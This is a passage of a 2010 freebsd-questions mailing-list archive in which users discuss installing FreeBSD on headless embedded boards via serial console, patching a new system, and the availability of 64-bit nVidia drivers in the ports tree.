(mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7A60F106564A for ; Fri, 12 Mar 2010 18:42:51 +0000 (UTC) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: from mail2.sea5.speakeasy.net (mail2.sea5.speakeasy.net [69.17.117.4]) by mx1.freebsd.org (Postfix) with ESMTP id 539D58FC20 for ; Fri, 12 Mar 2010 18:42:51 +0000 (UTC) Received: (qmail 12635 invoked from network); 12 Mar 2010 18:42:50 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail2.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 12 Mar 2010 18:42:50 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 4BAE050886; Fri, 12 Mar 2010 13:42:49 -0500 (EST) From: Lowell Gilbert To: Nerius Landys References: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> <44ocivszcb.fsf@be-well.ilk.org> <4B99D335.8010800@markshroyer.com> <560f92641003121026j785eabb2h9d6bcee0753cfeb0@mail.gmail.com> Date: Fri, 12 Mar 2010 13:42:49 -0500 In-Reply-To: <560f92641003121026j785eabb2h9d6bcee0753cfeb0@mail.gmail.com> (Nerius Landys's message of "Fri, 12 Mar 2010 10:26:10 -0800") Message-ID: <44tysl8jpy.fsf@be-well.ilk.org> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: freebsd-questions@freebsd.org Subject: Re: Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 18:42:51 -0000 Nerius Landys writes: > Is there a nice guide that explains how to install FreeBSD onto a > headless system (such as one of these small devices) via serial port? It's documented in the installation chapter of the Handbook. -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 19:02:52 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6FA3D1065670 for ; Fri, 12 Mar 2010 19:02:52 +0000 (UTC) (envelope-from martin@dc.cis.okstate.edu) Received: from dc.cis.okstate.edu (dc.cis.okstate.edu [139.78.103.93]) by mx1.freebsd.org (Postfix) with ESMTP id 443528FC1E for ; Fri, 12 Mar 2010 19:02:51 +0000 (UTC) Received: from dc.cis.okstate.edu (localhost.cis.okstate.edu [127.0.0.1]) by dc.cis.okstate.edu (8.14.2/8.13.8) with ESMTP id o2CJ2hmr052219 for ; Fri, 12 Mar 2010 13:02:47 -0600 (CST) (envelope-from martin@dc.cis.okstate.edu) Message-Id: <201003121902.o2CJ2hmr052219@dc.cis.okstate.edu> To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <52217.1268420563.1@dc.cis.okstate.edu> Date: Fri, 12 Mar 2010 13:02:43 -0600 From: Martin McCormick Subject: Patching a Newly-Built System X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 19:02:52 -0000 Does it make any difference if one adds packages to a new system before or after using cvsup to bring the patch level up to date? I ask this because it takes about half an hour to go from nothing to a bootable system via a script but it can take several hours for cvsub to update the kernel sources and then the rebuild of the world to take place. If it won't effect the operation of such things as bind and dhcpd, one could bring the services up while it is being patched and just let everyone know that there will be another short outage when the rebuild of the kernel is done and we reboot to take advantage of the new patches. Thank you. Martin McCormick WB5AGZ Stillwater, OK Systems Engineer OSU Information Technology Department Telecommunications Services Group From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 19:39:53 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 020831065674 for ; Fri, 12 Mar 2010 19:39:53 +0000 (UTC) (envelope-from cpghost@cordula.ws) Received: from mail-bw0-f216.google.com (mail-bw0-f216.google.com [209.85.218.216]) by mx1.freebsd.org (Postfix) with ESMTP id 944428FC23 for ; Fri, 12 Mar 2010 19:39:52 +0000 (UTC) Received: by bwz8 with SMTP id 8so1355244bwz.3 for ; Fri, 12 Mar 2010 11:39:51 -0800 (PST) MIME-Version: 1.0 Received: by 10.204.0.70 with SMTP id 6mr3847169bka.14.1268422790938; Fri, 12 Mar 2010 11:39:50 -0800 (PST) X-Originating-IP: [93.203.48.106] In-Reply-To: <560f92641003121026j785eabb2h9d6bcee0753cfeb0@mail.gmail.com> References: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> <44ocivszcb.fsf@be-well.ilk.org> <4B99D335.8010800@markshroyer.com> <560f92641003121026j785eabb2h9d6bcee0753cfeb0@mail.gmail.com> Date: Fri, 12 Mar 2010 20:39:50 +0100 Message-ID: From: "C. P. Ghost" To: freebsd-questions@freebsd.org, Nerius Landys Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: Subject: Re: Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 19:39:53 -0000 On Fri, Mar 12, 2010 at 7:26 PM, Nerius Landys wrote: >> Yep! Geode-based boxes are great. The ALIX boards are looking like >> Soekris gear, which I'm very happy with (of course running FreeBSD): >> >> http://www.soekris.com/net5501.htm > > Is there a nice guide that explains how to install FreeBSD onto a > headless system (such as one of these small devices) via serial port? Basically, you have two options: 1. Boot diskless with PXE, and install FreeBSD over the network: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-diskless.= html http://jdc.parodius.com/freebsd/pxeboot_serial_install_8.html 2. Install FreeBSD on a HDD or CF from a working computer, then move the disk/card to the embedded device. For Soekris (and probably ALIX as well, since it's also GEODE-based), there are specific kernel config options that you may or may not need: http://wiki.soekris.info/Installing_FreeBSD Once you've installed FreeBSD, remember to tweak /etc/ttys, so that getty spaws a login: on the serial console. Especially, turn ttyv0 off and ttyu0 on: ttyv0 "/usr/libexec/getty Pc" cons25 off secure ttyu0 "/usr/libexec/getty std.9600" dialup on secure > I've done this once before but it was long ago, and it was actually an > install via floppy disk and CD-ROM combination (IIRC), so that > procedure would not apply here (regarding these tiny devices mentioned > above). =A0The Handbook contains some explanation regarding serial > communication, but I don't believe they really explain _installing_ > onto a headless system. =A0Also, in the past, I've had problems > installing FreeBSD via CD-ROM drive that was connected as a USB. =A0I > know that in the past FreeBSD didn't support booting via USB device, > maybe they have fixed that? =A0My last encounter with the USB-boot > problem was with my 1U server that didn't have a CD-ROM drive; I was > not able to install i386 7.0 onto that. =A0I had to open the 1U case and > temporarily hook up an IDE CD-ROM drive. =A0If I remember correctly, > trying to boot from a USB CD-ROM would result in getting a TON of > garbled text scrolling across the screen. =A0I actually posted about > that about 2 years back, and the responses indicated that booting via > USB device was not supported. > > My imagination would tell me that to install FreeBSD onto one of these > tiny devices, I would first create an ISO image that would basically > use serial communication for everything, then burn that to a CD, then > boot via USB CD-ROM drive, while having another computer connected to > the serial port of the tiny device (via null modem cable) and using a > command-line tool such as ``cu'' from the other computer. > > I would be very interested into looking into purchasing one of these > small devices, but I'm really scared about the FreeBSD install > procedure. -cpghost. --=20 Cordula's Web. http://www.cordula.ws/ From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 20:04:31 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1256D106564A for ; Fri, 12 Mar 2010 20:04:31 +0000 (UTC) (envelope-from carmel_ny@hotmail.com) Received: from blu0-omc4-s22.blu0.hotmail.com (blu0-omc4-s22.blu0.hotmail.com [65.55.111.161]) by mx1.freebsd.org (Postfix) with ESMTP id BB4168FC1C for ; Fri, 12 Mar 2010 20:04:30 +0000 (UTC) Received: from BLU0-SMTP71 ([65.55.111.136]) by blu0-omc4-s22.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 12 Mar 2010 12:04:29 -0800 X-Originating-IP: [67.189.160.65] X-Originating-Email: [carmel_ny@hotmail.com] Message-ID: Received: from scorpio.seibercom.net ([67.189.160.65]) by BLU0-SMTP71.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959); Fri, 12 Mar 2010 12:04:29 -0800 Received: from scorpio.seibercom.net (scorpio.seibercom.net [192.168.1.101]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: carmel_ny@scorpio.seibercom.net) by scorpio.seibercom.net (Postfix) with ESMTPSA id 1BEBD22831 for ; Fri, 12 Mar 2010 15:04:28 -0500 (EST) Date: Fri, 12 Mar 2010 15:04:27 -0500 From: Carmel To: freebsd-questions@freebsd.org In-Reply-To: References: Organization: seibercom.net X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; i386-portbld-freebsd7.3) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 12 Mar 2010 20:04:29.0410 (UTC) FILETIME=[39455420:01CAC21F] Subject: Re: nVidia 64bit drivers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 20:04:31 -0000 On Fri, 12 Mar 2010 12:39:34 +0000 George Liaskos articulated: > On Fri, Mar 12, 2010 at 11:55 AM, Carmel > wrote: > > Have the 64bit drivers from nVidia been incorporated into the > > FreeBSD ports system yet? I read awhile ago that they were being > > developed; however, I have not found them present in the ports > > system. > > Yes they are, they got in to the ports tree a week or so after the > nVidia release. [x11/nvidia-driver] Actually, that is not the latest version, is the latest. Also, they appear to be waiting for when Linux/x86-64 compatibility is added to FreeBSD/amd64 is completed. -- Carmel carmel_ny@hotmail.com |::::======= |::::======= |=========== |=========== | Life is like an onion: you peel off layer after layer and then you find there is nothing in it. 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From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 20:58:36 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 563EA106566B for ; Fri, 12 Mar 2010 20:58:36 +0000 (UTC) (envelope-from geo.liaskos@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id E17778FC12 for ; Fri, 12 Mar 2010 20:58:35 +0000 (UTC) Received: by fxm23 with SMTP id 23so1624352fxm.3 for ; Fri, 12 Mar 2010 12:58:34 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=lX6ePrt5tmoLLMHkjcCiMWHpUx0lN06MQ6nX+q5i0hE=; b=OQrEPxXbMf/88OvnuPTNIrvw/fByDjFuM/WNIlKYx8v4ZZtE217b7GNcX6bRhUWZfE 6ckgxG+YWZn+sJP5P+fHP0MCbtFb7oA3S2TacxCrwFGb+PDxJWy49wdwBfYU93/e8jao BDg/Z0aJYvwyCx4ab6DrbkK4Jy/T2OGj3K4A0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=ucIg4eGNggeWg1GdUs42KPXpJXLkT80y71mVQsGk3US4xu0II2Ieyyfvyz0JJNphMU qsD4CUXQ/EBeyGANT6FML/EtYU5mfS1DrpUNyanikC9cIbVyOcTQDg5x1vArgtY2zDCp ZtCLIk3y5c1Jlpum01Sn1y9iEHaWXVFchRiFc= MIME-Version: 1.0 Received: by 10.239.137.12 with SMTP id j12mr517273hbj.115.1268427513006; Fri, 12 Mar 2010 12:58:33 -0800 (PST) In-Reply-To: References: Date: Fri, 12 Mar 2010 20:58:32 +0000 Message-ID: From: George Liaskos To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Subject: Re: nVidia 64bit drivers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 20:58:36 -0000 On Fri, Mar 12, 2010 at 8:04 PM, Carmel wrote: > On Fri, 12 Mar 2010 12:39:34 +0000 > George Liaskos articulated: > >> On Fri, Mar 12, 2010 at 11:55 AM, Carmel >> wrote: >> > Have the 64bit drivers from nVidia been incorporated into the >> > FreeBSD ports system yet? I read awhile ago that they were being >> > developed; however, I have not found them present in the ports >> > system. >> >> Yes they are, they got in to the ports tree a week or so after the >> nVidia release. [x11/nvidia-driver] > > Actually, that is not the latest version, > > is the latest. Also, they appear to be waiting for when Linux/x86-64 > compatibility is added to FreeBSD/amd64 is completed. > > > -- > Carmel > carmel_ny@hotmail.com > > |::::=3D=3D=3D=3D=3D=3D=3D > |::::=3D=3D=3D=3D=3D=3D=3D > |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > |=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > | > > Life is like an onion: you peel off layer after > layer and then you find there is nothing in it. > > > =A0 =A0 =A0 =A0James Huneker > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" > 195.22 beta is the only version that nvidia has released for FBSD/amd64. You can refer to the following post about the current official releases : http://www.nvnews.net/vbulletin/showthread.php?t=3D127019 195.36.08 is removed from web && ftp thus, the latest official release is 1= 90.53 Regards. From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 22:21:21 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 70E611065673 for ; Fri, 12 Mar 2010 22:21:21 +0000 (UTC) (envelope-from subscriber+freebsd@markshroyer.com) Received: from frodo.paleogene.net (frodo.paleogene.net [206.125.175.178]) by mx1.freebsd.org (Postfix) with ESMTP id 526A98FC12 for ; Fri, 12 Mar 2010 22:21:21 +0000 (UTC) Received: from auth-client.paleogene.net (auth-client.paleogene.net [206.125.175.178]) (Authenticated sender: hidden) by frodo.paleogene.net (Postfix) with ESMTPSA id BA95A3F411 for ; Fri, 12 Mar 2010 17:21:20 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=markshroyer.com; s=default; t=1268432480; bh=sdF5/22ynpR3woRhEcJSCDtcOb6wadVlPyiMsnVXRtA=; h=Message-ID:Date:From:MIME-Version:To:Subject:References: In-Reply-To:Content-Type:Content-Transfer-Encoding; b=McNHC+5vVGoQv5aY19Zl6kKJr6PTIywrIpdF20ay4aDU70i0Nt6UgVS7+kma1hDe/ UWjxX2vLucYkdS+71Qxm3vAXnVheO9YB/eOeB102eFGnt0dFCaY6pRSQ+5SdE2/JyW 7WkkhMi95fvi0lxHpeK2ftPWlDzIpzXUdTUFAHwQ= Message-ID: <4B9ABE5A.7090000@markshroyer.com> Date: Fri, 12 Mar 2010 17:21:14 -0500 From: Mark Shroyer User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> <44ocivszcb.fsf@be-well.ilk.org> <4B99D335.8010800@markshroyer.com> <560f92641003121026j785eabb2h9d6bcee0753cfeb0@mail.gmail.com> In-Reply-To: X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Subject: Re: Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 22:21:21 -0000 On 3/12/2010 2:39 PM, C. P. Ghost wrote: > On Fri, Mar 12, 2010 at 7:26 PM, Nerius Landys wrote: >>> Yep! Geode-based boxes are great. The ALIX boards are looking like >>> Soekris gear, which I'm very happy with (of course running FreeBSD): >>> >>> http://www.soekris.com/net5501.htm >> >> Is there a nice guide that explains how to install FreeBSD onto a >> headless system (such as one of these small devices) via serial port? > > Basically, you have two options: > > [...] > > 2. Install FreeBSD on a HDD or CF from a working computer, then move > the disk/card to the embedded device. A slight variant of this, which I used to get OpenBSD on my Alix board, is to boot the installer in VMware Workstation with your CF card connected as a VMware physical disk. This makes it easy to get up and running if all you have is a USB CF adapter, because within VMware FreeBSD will see it as a SCSI disk. Plus you get to save a CD-R/DVD-R by mounting the installer ISO in VMware without burning it to disc :) So don't worry, installing FreeBSD or OpenBSD in this manner is super easy; it's basically the same as any other installation, just with the added step of setting up the serial console at the very end. -- Mark Shroyer http://markshroyer.com/contact/ From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 22:37:22 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B15A21065673 for ; Fri, 12 Mar 2010 22:37:22 +0000 (UTC) (envelope-from kingedgar@gmail.com) Received: from mail-gw0-f54.google.com (mail-gw0-f54.google.com [74.125.83.54]) by mx1.freebsd.org (Postfix) with ESMTP id 6BB618FC21 for ; Fri, 12 Mar 2010 22:37:22 +0000 (UTC) Received: by gwj15 with SMTP id 15so707704gwj.13 for ; Fri, 12 Mar 2010 14:37:21 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=3jDz6xyXvI3v1s9NAmXfn2kBMuuEr0R/s2XcE/l3tbk=; b=tohL2ECIuSJvbI7mw4hVq7zbO1HNwKOOkcaRLJV9EtF+TGkGIU8fDv28tGBL/bMp7d syvcuDMkAglj7sp/539wiPWnzgNF6hL0NHdLjAuNYzMJ5BLvfAI0ky+PUrLf53TKkOs9 tXvI550DBitebGFkohaOaKEpPkxhL/mag9ou4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=I23mQqHHY5SplNZ2Sr3kGw81AYTHA/Ly4hN3Mo6+Im0ispS+Wp4tK7cIrxoODRaQwc GHmN2rtrFMntVJG2Nx58AWPuBnOvodeEtfgnXtTyJHjeZIydi6TwrLDy9iYAIT0OH/0D SLlF/JxwYmqUYAkC4r3cWL3m3hnT+cJrJJu20= MIME-Version: 1.0 Received: by 10.101.53.5 with SMTP id f5mr66588ank.238.1268433441428; Fri, 12 Mar 2010 14:37:21 -0800 (PST) In-Reply-To: References: <970380131003121022g41553172n673a32ca63a5d1cc@mail.gmail.com> Date: Fri, 12 Mar 2010 16:37:21 -0600 Message-ID: <970380131003121437m560943e3la59ed697cf7666ab@mail.gmail.com> From: Jason Garrett To: FreeBSD-Questions Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Re: nVidia 64bit drivers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 22:37:22 -0000 On Fri, Mar 12, 2010 at 12:44, George Liaskos wrote: > On Fri, Mar 12, 2010 at 6:22 PM, Jason Garrett > wrote: > > > > > > On Fri, Mar 12, 2010 at 06:39, George Liaskos > wrote: > >> > >> On Fri, Mar 12, 2010 at 11:55 AM, Carmel wrote: > >> > Have the 64bit drivers from nVidia been incorporated into the FreeBSD > >> > ports system yet? I read awhile ago that they were being developed; > >> > however, I have not found them present in the ports system. > >> > > >> > -- > >> > > >> > Carmel > >> > carmel_ny@hotmail.com > >> > > >> > |::::======= > >> > |::::======= > >> > |=========== > >> > |=========== > >> > | > >> > > >> > Oregano, n.: The ancient Italian art of pizza folding. > >> > > >> > _______________________________________________ > >> > freebsd-questions@freebsd.org mailing list > >> > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > >> > To unsubscribe, send any mail to > >> > "freebsd-questions-unsubscribe@freebsd.org" > >> > > >> > >> Yes they are, they got in to the ports tree a week or so after the > >> nVidia release. [x11/nvidia-driver] > >> > >> Regards. > > > > Just a FYI: > > > > ONLY_FOR_ARCHS= i386 > > > > It still appears this is i386 only, NOT 64 bit. > > > >> _______________________________________________ > >> freebsd-questions@freebsd.org mailing list > >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions > >> To unsubscribe, send any mail to > >> "freebsd-questions-unsubscribe@freebsd.org" > > > > > > Please see revision 1.94 > http://www.freebsd.org/cgi/cvsweb.cgi/ports/x11/nvidia-driver/Makefile > > .if ${DISTVERSION} == 195.22 > MASTER_SITE_SUBDIR= XFree86/FreeBSD-x86${ARCH_SUFX}/${DISTVERSION} > ONLY_FOR_ARCHS= i386 amd64 > .else > > This is not in my ports tree on 8.0, why is this so if it is listed on the website? > Regards. > From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 22:40:19 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 27C781065670 for ; Fri, 12 Mar 2010 22:40:19 +0000 (UTC) (envelope-from kingedgar@gmail.com) Received: from mail-yw0-f191.google.com (mail-yw0-f191.google.com [209.85.211.191]) by mx1.freebsd.org (Postfix) with ESMTP id D311A8FC1E for ; Fri, 12 Mar 2010 22:40:18 +0000 (UTC) Received: by ywh29 with SMTP id 29so704405ywh.14 for ; Fri, 12 Mar 2010 14:40:18 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=aa1Afz6j9fac3xCXe26fYE1AVgf+nxuobfTJlrF0R1c=; b=XBqNOkmp0XHSR+DZOO8PEDMvizjxD37PLiEFhlYjItNvR8/LEoFhWDtj688/jYS3Kw ZiriE1Wrn2zBDazQCJiJJNyByEX4/2AtgbC8DZMCtH1bkENOURbJGeddvno4WBqcHrcU 2Lp+8wSHmJvK2+iS2gbtkuTU6Bc/ZqNKt5DQQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=P7e+EtMl1gAZTWMHMm+Ef9mKcdsaXxPGgno1ldP+Jh7XfPx9hH8770ywc73LlfqqM7 OjzQfuPOOTtpA/6c8IwaoQuUxcuZsC0li1sUEhGNF9zWC9bUvdReGBTwoilpocio6KOm FILlhSN3DUCXWpO8ihZN0/PlYOV5MBlkTa3BM= MIME-Version: 1.0 Received: by 10.101.167.27 with SMTP id u27mr2044375ano.195.1268433618046; Fri, 12 Mar 2010 14:40:18 -0800 (PST) In-Reply-To: <970380131003121437m560943e3la59ed697cf7666ab@mail.gmail.com> References: <970380131003121022g41553172n673a32ca63a5d1cc@mail.gmail.com> <970380131003121437m560943e3la59ed697cf7666ab@mail.gmail.com> Date: Fri, 12 Mar 2010 16:40:17 -0600 Message-ID: <970380131003121440q5a8be835n5157c889542f7d51@mail.gmail.com> From: Jason Garrett To: FreeBSD-Questions Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Re: nVidia 64bit drivers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 22:40:19 -0000 On Fri, Mar 12, 2010 at 16:37, Jason Garrett wrote: > > > On Fri, Mar 12, 2010 at 12:44, George Liaskos wrote: > >> On Fri, Mar 12, 2010 at 6:22 PM, Jason Garrett >> wrote: >> > >> > >> > On Fri, Mar 12, 2010 at 06:39, George Liaskos >> wrote: >> >> >> >> On Fri, Mar 12, 2010 at 11:55 AM, Carmel >> wrote: >> >> > Have the 64bit drivers from nVidia been incorporated into the FreeBSD >> >> > ports system yet? I read awhile ago that they were being developed; >> >> > however, I have not found them present in the ports system. >> >> > >> >> > -- >> >> > >> >> > Carmel >> >> > carmel_ny@hotmail.com >> >> > >> >> > |::::======= >> >> > |::::======= >> >> > |=========== >> >> > |=========== >> >> > | >> >> > >> >> > Oregano, n.: The ancient Italian art of pizza folding. >> >> > >> >> > _______________________________________________ >> >> > freebsd-questions@freebsd.org mailing list >> >> > http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> >> > To unsubscribe, send any mail to >> >> > "freebsd-questions-unsubscribe@freebsd.org" >> >> > >> >> >> >> Yes they are, they got in to the ports tree a week or so after the >> >> nVidia release. [x11/nvidia-driver] >> >> >> >> Regards. >> > >> > Just a FYI: >> > >> > ONLY_FOR_ARCHS= i386 >> > >> > It still appears this is i386 only, NOT 64 bit. >> > >> >> _______________________________________________ >> >> freebsd-questions@freebsd.org mailing list >> >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> >> To unsubscribe, send any mail to >> >> "freebsd-questions-unsubscribe@freebsd.org" >> > >> > >> >> Please see revision 1.94 >> http://www.freebsd.org/cgi/cvsweb.cgi/ports/x11/nvidia-driver/Makefile >> >> .if ${DISTVERSION} == 195.22 >> MASTER_SITE_SUBDIR= XFree86/FreeBSD-x86${ARCH_SUFX}/${DISTVERSION} >> ONLY_FOR_ARCHS= i386 amd64 >> .else >> >> > This is not in my ports tree on 8.0, why is this so if it is listed on the > website? > Nevermind and sorry for the noise, I ran a portsnap fetch/update and now it is there.. it was not after this mornings fetch/update. > > >> Regards. >> > > From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 22:53:18 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 952DA1065672 for ; Fri, 12 Mar 2010 22:53:18 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from mail-qy0-f194.google.com (mail-qy0-f194.google.com [209.85.221.194]) by mx1.freebsd.org (Postfix) with ESMTP id 5089E8FC16 for ; Fri, 12 Mar 2010 22:53:17 +0000 (UTC) Received: by qyk32 with SMTP id 32so1712915qyk.28 for ; Fri, 12 Mar 2010 14:53:17 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; 